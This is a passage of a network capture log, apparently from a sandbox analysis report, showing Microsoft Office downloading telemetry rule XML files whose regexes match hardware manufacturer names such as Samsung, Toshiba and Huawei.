R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:33 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:33 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110733Z-178bfbc474b7cbwqhC1NYC8z4n00000007ag000000003ud6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:33 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:33 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 9a3ed3ee-501e-00a0-41c6-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110733Z-178bfbc474b9xljthC1NYCtw94000000078g0000000070w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110733Z-15b8b599d88l2dpthC1TEBmzr000000005rg00000000dezd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:33 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110733Z-174c587ffdf4zw2thC1TEBu34000000005v000000000gcss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110733Z-178bfbc474bgvl54hC1NYCsfuw000000077g00000000d1tk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:35 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: df8835e2-601e-0002-5b4e-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110735Z-15b8b599d882zv28hC1TEBdchn00000005s0000000007nru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:36 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 242b2616-d01e-0017-014e-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110735Z-15b8b599d882l6clhC1TEBxd5c00000005r0000000009xvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:35 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110735Z-178bfbc474bbcwv4hC1NYCypys00000007ag000000001b9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:35 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 043e45ca-501e-0078-1031-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110735Z-178bfbc474bxkclvhC1NYC69g400000007dg000000000pbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:36 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:35 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 413a5bf0-401e-0035-1ab5-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110735Z-178bfbc474brk967hC1NYCfu60000000071g00000000cx7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:38 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 6056d4b9-d01e-002b-71bf-3e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110738Z-178bfbc474bfw4gbhC1NYCunf400000007bg00000000726f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:38 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:38 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: c2388785-401e-0048-0e03-3e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110738Z-178bfbc474bwh9gmhC1NYCy3rs00000007gg0000000033dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:38 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 